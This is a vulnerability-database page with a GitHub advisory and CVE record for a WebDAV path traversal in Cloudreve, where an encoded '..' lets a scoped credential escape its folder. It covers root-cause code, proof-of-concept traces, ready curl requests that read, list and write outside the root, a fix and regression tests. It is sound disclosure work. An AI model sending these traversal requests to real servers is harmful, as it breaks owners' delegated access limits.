Vulnerability-Lookup

GHSA-W5FV-7X5Q-G8QP

Vulnerability from github – Published: 2026-08-26 15:22 – Updated: 2026-08-26 15:22

Summary

Cloudreve WebDAV (`/dav`) has Path Traversal / Broken Access Control — scoped DAV credential escapes its configured account root

Details

Summary

A Cloudreve WebDAV account stores a uri that defines the account's root folder. The WebDAV request handler (stripPrefix in pkg/webdav/webdav.go) trims the /dav prefix from the request path and joins the remainder to that root with fs.URI.JoinRaw, but never checks that the joined URI stays inside the root.

Go's net/http decodes %2e%2e to .. and %2f to / in r.URL.Path before the handler sees it, and JoinRaw resolves .. segments through the standard library's url.URL.JoinPath. A request such as GET /dav/%2e%2e/outside.txt against a credential rooted at cloudreve://my/restricted therefore resolves to cloudreve://my/outside.txt. A scoped DAV credential can read and list files outside its configured folder; a writable scoped credential can also create, overwrite, move, and delete them.

The escape stays inside the same Cloudreve user's namespace because downstream DBFS owner checks still apply. It does not cross into another user's files or onto the OS filesystem. What it breaks is the per-folder WebDAV-account boundary — the entire reason scoped DAV accounts exist (delegating limited access to a sync client or a third party).

Technical Detail

Root cause

stripPrefix joins the request suffix onto the account base with no containment check:

// pkg/webdav/webdav.go @ 54dc81d
func stripPrefix(p string, u *ent.User) (string, *fs.URI, int, error) {
    base, err := fs.NewUriFromString(u.Edges.DavAccounts[0].URI)
    if err != nil {
        return "", nil, http.StatusInternalServerError, err
    }

    prefix := davPrefix // "/dav"
    if r := strings.TrimPrefix(p, prefix); len(r) < len(p) {
        r = strings.TrimPrefix(r, fs.Separator)
        return r, base.JoinRaw(util.RemoveSlash(r)), http.StatusOK, nil // <-- join, no boundary check
    }
    return "", nil, http.StatusNotFound, errPrefixMismatch
}

JoinRaw splits on / and delegates to the standard library:

// pkg/filemanager/fs/uri.go @ 54dc81d
func (u *URI) JoinRaw(elem string) *URI {
    return u.Join(strings.Split(strings.TrimPrefix(elem, Separator), Separator)...)
}

func (u *URI) Join(elem ...string) *URI {
    newUrl, _ := url.Parse(u.U.String())
    return &URI{U: newUrl.JoinPath(lo.Map(elem, func(s string, i int) string {
        return PathEscape(s)
    })...)}
}

PathEscape leaves a . untouched (shouldEscape returns false for .), so the literal segment .. survives into url.URL.JoinPath, which cleans the path and resolves the parent reference.

Proof of Concept

The full server was not run from the checkout (the embedded frontend asset assets.zip is absent from source), so the chain was proven by exercising the two decisive layers with real code rather than a screenshot of a live instance.

Layer 1 — `net/http` hands the handler a decoded, uncleaned path

A standard-library HTTP server, hit over a real socket with raw request targets (equivalent to curl --path-as-is), shows what c.Request.URL.Path holds inside the handler:

REQUEST: GET /dav/%2e%2e/outside.txt
  handler observed: URL.Path="/dav/../outside.txt"   RawPath="/dav/%2e%2e/outside.txt"   -> 200
REQUEST: PROPFIND /dav/%2e%2e/
  handler observed: URL.Path="/dav/../"              RawPath="/dav/%2e%2e/"               -> 200
REQUEST: PUT /dav/%2e%2e/created-outside.txt
  handler observed: URL.Path="/dav/../created-outside.txt"                                 -> 200
REQUEST: GET /dav/%2F..%2Foutside.txt
  handler observed: URL.Path="/dav//../outside.txt"  RawPath="/dav/%2F..%2Foutside.txt"   -> 200

The path is decoded but never cleaned. Gin does not rewrite Request.URL.Path, so the Cloudreve handler observes the same value.

Layer 2 — Cloudreve's URI resolution escapes the root

Re-running Cloudreve's exact PathEscape / shouldEscape / Join / JoinRaw / NewUriFromString code (copied verbatim from uri.go @ 54dc81d) against the real net/url library, with base cloudreve://my/restricted:

traversal %2e%2e        URL.Path=/dav/../outside.txt     suffix="../outside.txt"     => cloudreve://my/outside.txt
traversal %2F..%2F      URL.Path=/dav//../outside.txt    suffix="/../outside.txt"    => cloudreve://my/outside.txt
benign nested           URL.Path=/dav/sub/normal.txt     suffix="sub/normal.txt"     => cloudreve://my/restricted/sub/normal.txt
double-encoded (ctrl)   URL.Path=/dav/%2e%2e/outside.txt suffix="%2e%2e/outside.txt" => cloudreve://my/restricted/%252e%252e/outside.txt
deep traversal          URL.Path=/dav/../../etc.txt      suffix="../../etc.txt"      => cloudreve://my/etc.txt

The traversal variants land outside restricted; the benign path stays inside; the double-encoded negative control stays literal under the root; and deep traversal clamps at the my root (host stays my, confirming the same-owner ceiling).

Live request shapes (against a deployed instance)

# Read outside the DAV root (works for read-only credentials too)
curl --path-as-is -i -u 'victim@example.com:DAV_PASSWORD' \
  'https://cloudreve.example/dav/%2e%2e/outside.txt'

# List outside the DAV root
curl --path-as-is -i -X PROPFIND -H 'Depth: 1' \
  -u 'victim@example.com:DAV_PASSWORD' \
  'https://cloudreve.example/dav/%2e%2e/'

# Write outside the DAV root (writable credentials)
printf 'created outside DAV root\n' | curl --path-as-is -i -X PUT \
  -u 'victim@example.com:DAV_PASSWORD' --data-binary @- \
  'https://cloudreve.example/dav/%2e%2e/created-outside.txt'

Impact

Read-only scoped credential: read and list any file in the owner's namespace, outside the folder the credential was scoped to.
Writable scoped credential: additionally create, overwrite, move, and delete those files.

In normal use a scoped DAV account is the mechanism for handing limited access to a sync client or an outside party. This bug means that limit is not enforced: the credential reaches the owner's whole my filesystem.

Suggested Fix

fs.URI already ships the predicate needed (EqualOrIsDescendantOf), so the fix is small:

    prefix := davPrefix
    if r := strings.TrimPrefix(p, prefix); len(r) < len(p) {
        r = strings.TrimPrefix(r, fs.Separator)
-       return r, base.JoinRaw(util.RemoveSlash(r)), http.StatusOK, nil
+       candidate := base.JoinRaw(util.RemoveSlash(r))
+       if !candidate.EqualOrIsDescendantOf(base, "") {
+           return "", nil, http.StatusForbidden, errPrefixMismatch
+       }
+       return r, candidate, http.StatusOK, nil
    }
    return "", nil, http.StatusNotFound, errPrefixMismatch

Regression tests worth adding:

/dav/%2e%2e/outside.txt from base cloudreve://my/restricted → rejected
/dav/%2F..%2Foutside.txt from base cloudreve://my/restricted → rejected
COPY/MOVE with Destination: https://host/dav/%2e%2e/outside.txt → rejected
/dav/sub/normal.txt → still resolves under the account root

Severity

7.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/cloudreve/Cloudreve/v4"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.0.0-20260606032813-26b6b1044b02"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/cloudreve/Cloudreve/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.0.0-20250225100611-da4e44b77af4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54563"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-26T15:22:12Z",
    "nvd_published_at": "2026-07-15T15:16:45Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nA Cloudreve WebDAV account stores a `uri` that defines the account\u0027s root folder. The WebDAV request handler (`stripPrefix` in `pkg/webdav/webdav.go`) trims the `/dav` prefix from the request path and joins the remainder to that root with `fs.URI.JoinRaw`, but never checks that the joined URI stays inside the root.\n\nGo\u0027s `net/http` decodes `%2e%2e` to `..` and `%2f` to `/` in `r.URL.Path` before the handler sees it, and `JoinRaw` resolves `..` segments through the standard library\u0027s `url.URL.JoinPath`. A request such as `GET /dav/%2e%2e/outside.txt` against a credential rooted at `cloudreve://my/restricted` therefore resolves to `cloudreve://my/outside.txt`. A scoped DAV credential can read and list files outside its configured folder; a writable scoped credential can also create, overwrite, move, and delete them.\n\nThe escape stays inside the same Cloudreve user\u0027s namespace because downstream DBFS owner checks still apply. It does not cross into another user\u0027s files or onto the OS filesystem. What it breaks is the per-folder WebDAV-account boundary \u2014 the entire reason scoped DAV accounts exist (delegating limited access to a sync client or a third party).\n\n## Technical Detail\n\n### Root cause\n\n`stripPrefix` joins the request suffix onto the account base with no containment check:\n\n```go\n// pkg/webdav/webdav.go @ 54dc81d\nfunc stripPrefix(p string, u *ent.User) (string, *fs.URI, int, error) {\n\tbase, err := fs.NewUriFromString(u.Edges.DavAccounts[0].URI)\n\tif err != nil {\n\t\treturn \"\", nil, http.StatusInternalServerError, err\n\t}\n\n\tprefix := davPrefix // \"/dav\"\n\tif r := strings.TrimPrefix(p, prefix); len(r) \u003c len(p) {\n\t\tr = strings.TrimPrefix(r, fs.Separator)\n\t\treturn r, base.JoinRaw(util.RemoveSlash(r)), http.StatusOK, nil // \u003c-- join, no boundary check\n\t}\n\treturn \"\", nil, http.StatusNotFound, errPrefixMismatch\n}\n```\n\n`JoinRaw` splits on `/` and delegates to the standard library:\n\n```go\n// pkg/filemanager/fs/uri.go @ 54dc81d\nfunc (u *URI) JoinRaw(elem string) *URI {\n\treturn u.Join(strings.Split(strings.TrimPrefix(elem, Separator), Separator)...)\n}\n\nfunc (u *URI) Join(elem ...string) *URI {\n\tnewUrl, _ := url.Parse(u.U.String())\n\treturn \u0026URI{U: newUrl.JoinPath(lo.Map(elem, func(s string, i int) string {\n\t\treturn PathEscape(s)\n\t})...)}\n}\n```\n\n`PathEscape` leaves a `.` untouched (`shouldEscape` returns `false` for `.`), so the literal segment `..` survives into `url.URL.JoinPath`, which cleans the path and resolves the parent reference.\n\n\n## Proof of Concept\n\nThe full server was not run from the checkout (the embedded frontend asset `assets.zip` is absent from source), so the chain was proven by exercising the two decisive layers with real code rather than a screenshot of a live instance.\n\n### Layer 1 \u2014 `net/http` hands the handler a decoded, *uncleaned* path\n\nA standard-library HTTP server, hit over a real socket with raw request targets (equivalent to `curl --path-as-is`), shows what `c.Request.URL.Path` holds inside the handler:\n\n```\nREQUEST: GET /dav/%2e%2e/outside.txt\n  handler observed: URL.Path=\"/dav/../outside.txt\"   RawPath=\"/dav/%2e%2e/outside.txt\"   -\u003e 200\nREQUEST: PROPFIND /dav/%2e%2e/\n  handler observed: URL.Path=\"/dav/../\"              RawPath=\"/dav/%2e%2e/\"               -\u003e 200\nREQUEST: PUT /dav/%2e%2e/created-outside.txt\n  handler observed: URL.Path=\"/dav/../created-outside.txt\"                                 -\u003e 200\nREQUEST: GET /dav/%2F..%2Foutside.txt\n  handler observed: URL.Path=\"/dav//../outside.txt\"  RawPath=\"/dav/%2F..%2Foutside.txt\"   -\u003e 200\n```\n\nThe path is decoded but never cleaned. Gin does not rewrite `Request.URL.Path`, so the Cloudreve handler observes the same value.\n\n### Layer 2 \u2014 Cloudreve\u0027s URI resolution escapes the root\n\nRe-running Cloudreve\u0027s exact `PathEscape` / `shouldEscape` / `Join` / `JoinRaw` / `NewUriFromString` code (copied verbatim from `uri.go @ 54dc81d`) against the real `net/url` library, with base `cloudreve://my/restricted`:\n\n```\ntraversal %2e%2e        URL.Path=/dav/../outside.txt     suffix=\"../outside.txt\"     =\u003e cloudreve://my/outside.txt\ntraversal %2F..%2F      URL.Path=/dav//../outside.txt    suffix=\"/../outside.txt\"    =\u003e cloudreve://my/outside.txt\nbenign nested           URL.Path=/dav/sub/normal.txt     suffix=\"sub/normal.txt\"     =\u003e cloudreve://my/restricted/sub/normal.txt\ndouble-encoded (ctrl)   URL.Path=/dav/%2e%2e/outside.txt suffix=\"%2e%2e/outside.txt\" =\u003e cloudreve://my/restricted/%252e%252e/outside.txt\ndeep traversal          URL.Path=/dav/../../etc.txt      suffix=\"../../etc.txt\"      =\u003e cloudreve://my/etc.txt\n```\n\nThe traversal variants land outside `restricted`; the benign path stays inside; the double-encoded negative control stays literal under the root; and deep traversal clamps at the `my` root (host stays `my`, confirming the same-owner ceiling).\n\n### Live request shapes (against a deployed instance)\n\n```bash\n# Read outside the DAV root (works for read-only credentials too)\ncurl --path-as-is -i -u \u0027victim@example.com:DAV_PASSWORD\u0027 \\\n  \u0027https://cloudreve.example/dav/%2e%2e/outside.txt\u0027\n\n# List outside the DAV root\ncurl --path-as-is -i -X PROPFIND -H \u0027Depth: 1\u0027 \\\n  -u \u0027victim@example.com:DAV_PASSWORD\u0027 \\\n  \u0027https://cloudreve.example/dav/%2e%2e/\u0027\n\n# Write outside the DAV root (writable credentials)\nprintf \u0027created outside DAV root\\n\u0027 | curl --path-as-is -i -X PUT \\\n  -u \u0027victim@example.com:DAV_PASSWORD\u0027 --data-binary @- \\\n  \u0027https://cloudreve.example/dav/%2e%2e/created-outside.txt\u0027\n```\n\n## Impact\n\n- **Read-only scoped credential**: read and list any file in the owner\u0027s namespace, outside the folder the credential was scoped to.\n- **Writable scoped credential**: additionally create, overwrite, move, and delete those files.\n\nIn normal use a scoped DAV account is the mechanism for handing limited access to a sync client or an outside party. This bug means that limit is not enforced: the credential reaches the owner\u0027s whole `my` filesystem.\n\n## Suggested Fix\n\n`fs.URI` already ships the predicate needed (`EqualOrIsDescendantOf`), so the fix is small:\n\n```diff\n \tprefix := davPrefix\n \tif r := strings.TrimPrefix(p, prefix); len(r) \u003c len(p) {\n \t\tr = strings.TrimPrefix(r, fs.Separator)\n-\t\treturn r, base.JoinRaw(util.RemoveSlash(r)), http.StatusOK, nil\n+\t\tcandidate := base.JoinRaw(util.RemoveSlash(r))\n+\t\tif !candidate.EqualOrIsDescendantOf(base, \"\") {\n+\t\t\treturn \"\", nil, http.StatusForbidden, errPrefixMismatch\n+\t\t}\n+\t\treturn r, candidate, http.StatusOK, nil\n \t}\n \treturn \"\", nil, http.StatusNotFound, errPrefixMismatch\n```\n\nRegression tests worth adding:\n\n- `/dav/%2e%2e/outside.txt` from base `cloudreve://my/restricted` \u2192 rejected\n- `/dav/%2F..%2Foutside.txt` from base `cloudreve://my/restricted` \u2192 rejected\n- `COPY`/`MOVE` with `Destination: https://host/dav/%2e%2e/outside.txt` \u2192 rejected\n- `/dav/sub/normal.txt` \u2192 still resolves under the account root",
  "id": "GHSA-w5fv-7x5q-g8qp",
  "modified": "2026-08-26T15:22:12Z",
  "published": "2026-08-26T15:22:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cloudreve/cloudreve/security/advisories/GHSA-w5fv-7x5q-g8qp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54563"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cloudreve/cloudreve"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cloudreve/cloudreve/releases/tag/4.16.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Cloudreve WebDAV (`/dav`) has Path Traversal / Broken Access Control \u2014 scoped DAV credential escapes its configured account root"
}

CVE-2026-54563 (GCVE-0-2026-54563)

Vulnerability from cvelistv5 – Published: 2026-07-15 14:38 – Updated: 2026-07-15 15:34

Title

Cloudreve: Path Traversal / Broken Access Control in Cloudreve WebDAV (`/dav`) — scoped DAV credential escapes its configured account root

Summary

Cloudreve is a self-hosted file management and sharing system. Prior to 4.16.1, a Cloudreve WebDAV account rooted at a configured folder can send paths such as /dav/%2e%2e/outside.txt because stripPrefix in pkg/webdav/webdav.go joins the decoded request suffix to the account root with fs.URI.JoinRaw without checking containment, allowing the scoped credential to read and list files outside the configured folder and writable credentials to create, overwrite, move, or delete them. This issue is reported as fixed in version 4.16.1.

Severity

7.1 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-15 15:33 UTC

CWE

CWE-863 - Incorrect Authorization

Assigner

GitHub_M mitre root

References

1 reference

URL	Tags
https://github.com/cloudreve/cloudreve/security/a…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
cloudreve	cloudreve	Affected: < 4.16.1

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-54563",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-15T15:33:29.499501Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-15T15:34:04.861Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/cloudreve/cloudreve/security/advisories/GHSA-w5fv-7x5q-g8qp"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "cloudreve",
          "vendor": "cloudreve",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 4.16.1"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Cloudreve is a self-hosted file management and sharing system. Prior to 4.16.1, a Cloudreve WebDAV account rooted at a configured folder can send paths such as /dav/%2e%2e/outside.txt because stripPrefix in pkg/webdav/webdav.go joins the decoded request suffix to the account root with fs.URI.JoinRaw without checking containment, allowing the scoped credential to read and list files outside the configured folder and writable credentials to create, overwrite, move, or delete them. This issue is reported as fixed in version 4.16.1."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.1,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-863",
              "description": "CWE-863: Incorrect Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-15T14:38:54.129Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/cloudreve/cloudreve/security/advisories/GHSA-w5fv-7x5q-g8qp",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/cloudreve/cloudreve/security/advisories/GHSA-w5fv-7x5q-g8qp"
        }
      ],
      "source": {
        "advisory": "GHSA-w5fv-7x5q-g8qp",
        "discovery": "UNKNOWN"
      },
      "title": "Cloudreve: Path Traversal / Broken Access Control in Cloudreve WebDAV (`/dav`) \u2014 scoped DAV credential escapes its configured account root"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-54563",
    "datePublished": "2026-07-15T14:38:54.129Z",
    "dateReserved": "2026-06-15T19:04:14.457Z",
    "dateUpdated": "2026-07-15T15:34:04.861Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

GHSA-W5FV-7X5Q-G8QP

Summary

Technical Detail

Root cause

Proof of Concept

Layer 1 — net/http hands the handler a decoded, uncleaned path

Layer 2 — Cloudreve's URI resolution escapes the root

Live request shapes (against a deployed instance)

Impact

Suggested Fix

CVE-2026-54563 (GCVE-0-2026-54563)

Tags

Sightings

Nomenclature

Layer 1 — `net/http` hands the handler a decoded, uncleaned path